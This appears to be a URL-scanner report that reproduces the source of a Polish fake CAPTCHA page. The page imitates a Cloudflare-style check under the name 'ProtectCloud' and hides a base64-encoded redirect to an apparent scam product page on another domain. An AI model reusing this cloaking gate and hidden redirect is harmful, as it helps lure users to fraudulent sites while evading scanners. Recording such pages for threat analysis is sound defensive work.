https://l8zhdo.top/263zWEF37

已提交的 URL:
https://l8zhdo.top/263zWEF37
報告完成時間:

連結 · 找到 0 個

JavaScript 變數 · 找到 5 個

名稱類型
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
$function
jQueryfunction

主控台記錄訊息 · 找到 0 條

HTML

<html lang="en"><head>
    <title>Stół drewniany, jasn</title>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Fonts -->
    <link rel="dns-prefetch" href="//fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css?family=Montserrat:400,500,600,900" rel="stylesheet">
    <link rel="icon" type="image/png" href="assets/favicon.png">


    <style type="text/css">
      @font-face {
        font-family: "MY_FONTS";
        src: url("assets/OCR-a___.ttf");
      }

      .captchaBlock
      {
        font-family: 'MY_FONTS';
      }

        html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}header,nav,section{display:block}figcaption,main{display:block}a{background-color:transparent;-webkit-text-decoration-skip:objects}strong{font-weight:inherit}strong{font-weight:bolder}code{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}svg:not(:root){overflow:hidden}button,input{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}[type="checkbox"],[type="radio"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}menu{display:block}canvas{display:inline-block}template{display:none}[hidden]{display:none}html{-webkit-box-sizing:border-box;box-sizing:border-box;font-family:sans-serif}*,*::before,*::after{-webkit-box-sizing:inherit;box-sizing:inherit}p{margin:5px 0}button{background:transparent;padding:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}*,*::before,*::after{border-width:0;border-style:solid;border-color:#dae1e7}button,[type="button"],[type="reset"],[type="submit"]{border-radius:0}button,input{font-family:inherit}input::-webkit-input-placeholder{color:inherit;opacity:.5}input:-ms-input-placeholder{color:inherit;opacity:.5}input::-ms-input-placeholder{color:inherit;opacity:.5}input::placeholder{color:inherit;opacity:.5}button,[role=button]{cursor:pointer}h1{font-weight:400}.bg-transparent{background-color:transparent}.bg-white{background-color:#fff}.bg-teal-light{background-color:#64d5ca}.bg-blue-dark{background-color:#2779bd}.bg-indigo-light{background-color:#7886d7}.bg-grey-light{background-color:#ddd}.bg-no-repeat{background-repeat:no-repeat}.bg-cover{background-size:cover}.border-grey-light{border-color:#dae1e7}.hover\:border-grey:hover{border-color:#b8c2cc}.rounded-lg{border-radius:.5rem}.border-2{border-width:2px}.hidden{display:none}.flex{display:-webkit-box;display:-ms-flexbox;display:flex}.items-center{-webkit-box-align:center;-ms-flex-align:center;align-items:center}.justify-center{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.font-sans{font-family:'Montserrat',sans-serif}.font-light{font-weight:300}.font-bold{font-weight:700}.font-black{font-weight:900}.h-1{height:.25rem}.h-2{height:.18rem}.leading-normal{line-height:1.5}.m-8{margin:2rem}.my-3{margin-top:.75rem;margin-bottom:.75rem}.mb-8{margin-bottom:2rem}.mb-7{margin-bottom:1.6rem}.max-w-sm{max-width:40rem}.min-h-screen{min-height:100vh}.py-3{padding-top:.75rem;padding-bottom:.75rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pb-full{padding-bottom:100%}.absolute{position:absolute}.relative{position:relative}.pin{top:0;right:0;bottom:0;left:0}.text-black{color:#22292f}.text-grey-darkest{color:#3d4852}.text-grey-darker{color:#606f7b}.text-2xl{font-size:1.5rem}.text-5xl{font-size:2rem}.uppercase{text-transform:uppercase}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tracking-wide{letter-spacing:.05em}.w-16{width:4rem}.w-full{width:100%}@media(min-width:768px){.md\:bg-left{background-position:left}.md\:bg-right{background-position:right}.md\:flex{display:-webkit-box;display:-ms-flexbox;display:flex}.md\:my-6{margin-top:1.5rem;margin-bottom:1rem}.md\:min-h-screen{min-height:100vh}.md\:pb-0{padding-bottom:0}.md\:text-3xl{font-size:1.875rem}.md\:text-15xl{font-size:2rem}}@media(max-width:767px){.main-body{display:grid;flex-direction:column}.left-sec{order:2;text-align:center;height:70vh}
            .m-8{margin:.5rem 1.8rem}.content-body{max-height:66vh}.text-5xl{font-size:1.7rem}.mb-7{margin-bottom:1rem}h1{font-size:1.15rem!important}.show-mobile{display:block}.show-tablet{display:none}.left-sec{background-image:url('assets/bg-1x-mobile.png')!important}}@media(min-width:768px){.show-mobile{display:none}.show-tablet{display:block}}@media(max-width:992px) and (min-width:768px){.md\:w-1\/2{width:70%}.md\:w-1\/2:last-child{width:30%}.left-sec{background-image:url('assets/bg-1x-tablet.png')!important}}@media(min-width:992px){.lg\:bg-center{background-position:center}}.left-sec{ background-image: url('assets/bg-1x.jpg');background-position:bottom;background-size:contain;background-repeat:no-repeat}.left-sec p,.left-sec ul li,h1{font-size:12px;color:#3d3d3d;line-height:1.35}.left-sec ul{padding-left:1.1rem}.left-sec ul li{margin-bottom:1rem}.left-sec ul li strong{font-weight:600}ul.cferror_details{border-top:2rem solid transparent;position:relative;padding-left:0}ul.cferror_details::before{content:"";border-top:2px solid #d3d3d3;width:100%;top:-11px;position:absolute}ul.cferror_details li{display:inline;margin-right:.6rem;margin-bottom:.2rem;font-size:10px}ul.cferror_details li::before{content:'•';padding-right:6px}ul.cferror_details li:first-child::before{content:none}.left-sec p.std-text.bold{font-weight:600}h1{font-size:1.21rem}.left-sec p.highlight{font-size:14px;font-weight:600}.sub-footer p{color:#747474}.error-text{color:#d3333e!important}.sub-footer ul li{color:#3d3d3d;font-size:10px;display:inline;margin-left:5px}.sub-footer ul li:first-child{margin-left:0}.sub-footer ul li::before{content:'•';padding-right:6px}.sub-footer ul li:first-child::before{content:none}.sub-footer ul{padding:0}h1{margin-bottom:0}

        .right-sec{
            background-image: url('assets/captcha.png');
            background-size: cover;
            background-position: center;
            padding-bottom: 250px;
        }
        .captchaBlock{
              display: flex;
              flex-direction: column;
              align-items: center;
              justify-content: center;
              margin-top: 20px;
              margin-bottom: 20px;
        }

        .btnCaptcha{
          width: 200px;
          border: 1px solid #f63;
          border-radius: 10px;
          color: #000;
          padding: 15px 15px;
          font-weight: 500;
          transition: all .5s;
        }

        .btnCaptcha:hover{
          background-color: #ff66334f;
        }
        .inputCaptcha {
          border: 1px solid #000;
          border-radius: 5px;
          width: 300px;
          height: 50px;
          margin-top: 20px;
          margin-bottom: 20px;
          padding: 15px;
          outline: none;
        }
        .inputCaptcha:focus{
          border-color: rgb(8, 111, 255);
        }

        .captchaBlock #captcha{
          border: 1px solid #ccc;
          border-radius: 5px;
          width: 200px;
          /*padding: 6px 12px;*/
        }
        

        .load{position:fixed;top:50%;left:50%;transform:translate(-50%, -50%);
          /*change these sizes to fit into your project*/
          width:100px;
          height:100px;
          z-index: 10000;
        }
        .load hr{border:0;margin:0;width:40%;height:40%;position:absolute;border-radius:50%;animation:spin 2s ease infinite}

        .load :first-child{background:#19A68C;animation-delay:-1.5s}
        .load :nth-child(2){background:#F63D3A;animation-delay:-1s}
        .load :nth-child(3){background:#FDA543;animation-delay:-0.5s}
        .load :last-child{background:#193B48}

        @keyframes spin{
          0%,100%{transform:translate(0)}
          25%{transform:translate(160%)}
          50%{transform:translate(160%, 160%)}
          75%{transform:translate(0, 160%)}
        }
        .loadsBG{
          position:fixed;
          width: 100%;
          height: 100%;
          top: 0;
          left: 0;
          background-color: #fff;
          z-index: 1000;
        }
    </style>
</head>
<body class="antialiased font-sans">
  <div class="loadsBG" style="display: none;">
    <div class="load">
      <hr><hr><hr><hr>
    </div>
  </div>
  
<div class="md:flex min-h-screen main-body">
    <div class="w-full md:w-1/2 flex items-center justify-center left-sec">
        <div class="max-w-sm m-8 content-body">
            <div class="text-5xl md:text-15xl font-black">Czy jesteś robotem?</div>

            <p class="text-grey-darker text-2xl md:text-3xl mb-7 leading-normal">
            </p><p class="sub-header"></p><h1 class="oops">Proszę pozwolić sprawdzić, czy jesteś prawdziwym użytkownikiem strony</h1><p></p>

            <div class="captchaBlock">
              <div class="captchaFB">
                <div id="captcha"><canvas id="canvCapt" width="200" height="50" data-captcha="045981"></canvas></div>
            </div>
                
                <input type="text" class="inputCaptcha" autocomplete="false">
                <button class="btnCaptcha">Dalej</button>
            </div>

            <p class="highlight">Dlaczego muszę przejść test CAPTCHA?</p>
            <p class="std-text">Ze względu na wymagania dotyczące bezpieczeństwa witryny musimy włączyć weryfikację CAPTCHA, przepraszamy!</p>

            <div class="sub-footer">
                <div class="w-full h-2 bg-grey-light my-3 md:my-6"></div>
                <ul>
                    <li>ProtectCloud ID: 5ouJV6zLnXBaw91</li>
                    <li>IP: 2a09:bac5:312f:e64::16f:99</li>
                    <li>Performance &amp; Security by ProtectCloud</li>
                </ul>
            </div> 
        </div>
    </div>

    <div class="relative md:flex md:pb-0 md:min-h-screen w-full md:w-1/2 right-sec">
    </div>
</div>
<script nonce="" src="assets/jquery-3.6.0.min.js"></script>
<script nonce="">
  let getTitles = `Stół drewniany, jasn`;
  let getResHr = `aHR0cHM6Ly9oazludXUubG9sL2kvOXlybXMvMTczMTYxMDkyMTIwNyNwcm9kdWN0`;

  $( document ).ready(async function() {
    let code = '';
    let cptEDT = '1';
    let getTitleSubstr = getTitles.substr(0, 10);

    if (cptEDT === '0' || cptEDT === 0){
      window.location.replace(atob(getResHr));
      return;
    } 

    $('.loadsBG').css({display: 'none'});

    function generateCaptcha() {
        let canvas = document.createElement("canvas");
            canvas.id = "canvCapt";
            canvas.width = 200;
            canvas.height = 50;
        const ctx = canvas.getContext('2d');

        // Генерация случайной строки
        //const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        const chars = '0123456789';
        let captchaText = '';
        for (let i = 0; i < 6; i++) {
            captchaText += chars.charAt(Math.floor(Math.random() * chars.length));
        }
        canvas.dataset.captcha = captchaText;

        // Добавление фона
        ctx.fillStyle = '#f2f2f2';
        ctx.fillRect(0, 0, canvas.width, canvas.height);

        // Добавление линий и точек для усложнения распознавания
        for (let i = 0; i < 120; i++) {
            ctx.strokeStyle = `rgba(${Math.floor(Math.random() * 255)},${Math.floor(Math.random() * 255)},${Math.floor(Math.random() * 255)}, 0.5)`;
            ctx.beginPath();
            ctx.moveTo(Math.floor(Math.random() * canvas.width), Math.floor(Math.random() * canvas.height));
            ctx.lineTo(Math.floor(Math.random() * canvas.width), Math.floor(Math.random() * canvas.height));
            ctx.stroke();
        }

        for (let i = 0; i < 1000; i++) {
            ctx.fillStyle = `rgba(${Math.floor(Math.random() * 255)},${Math.floor(Math.random() * 255)},${Math.floor(Math.random() * 255)}, 0.5)`;
            ctx.beginPath();
            ctx.arc(Math.floor(Math.random() * canvas.width), Math.floor(Math.random() * canvas.height), 1, 0, Math.PI * 2);
            ctx.fill();
        }

        // Наложение текста с искажением
        let y = 30 + Math.floor(Math.random() * 10);
        let angle = Math.random() * 0.4 - 0.2;

        ctx.font = '28px MY_FONTS';
        ctx.fillStyle = '#91bbec';
        for (let i = 0; i < captchaText.length; i++) {
            const x = 37 + i * 20;
            ctx.save();
            ctx.translate(x, y);
            ctx.rotate(angle);
            ctx.fillText(captchaText[i], 0, 0);
            ctx.restore();
        }

        ctx.font = '29px MY_FONTS';
        ctx.fillStyle = '#ff9090';
        for (let i = 0; i < captchaText.length; i++) {
            const x = 40 + i * 20;
            ctx.save();
            ctx.translate(x, y);
            ctx.rotate(angle);
            ctx.fillText(captchaText[i], 0, 0);
            ctx.restore();
        }

        ctx.font = '30px MY_FONTS';
        ctx.fillStyle = '#7a7a7a';

        for (let i = 0; i < captchaText.length; i++) {
            const x = 43 + i * 20;
            ctx.save();
            ctx.translate(x, y);
            ctx.rotate(angle);
            ctx.fillText(captchaText[i], 0, 0);
            ctx.restore();
        }

        document.getElementById("captcha").appendChild(canvas);
    }

    generateCaptcha();

    $('.btnCaptcha').on('click', () => {
      let getvalInpu = $('.inputCaptcha').val();
      const captcha = document.getElementById('canvCapt').dataset.captcha;
      console.log(captcha);

      if (captcha !== getvalInpu) {
        alert('Błąd, sprawdź!');
      }else{
        let redirectHref = atob(getResHr);
        window.location.replace(redirectHref);
      }
    });
  });
  

</script>


</body></html>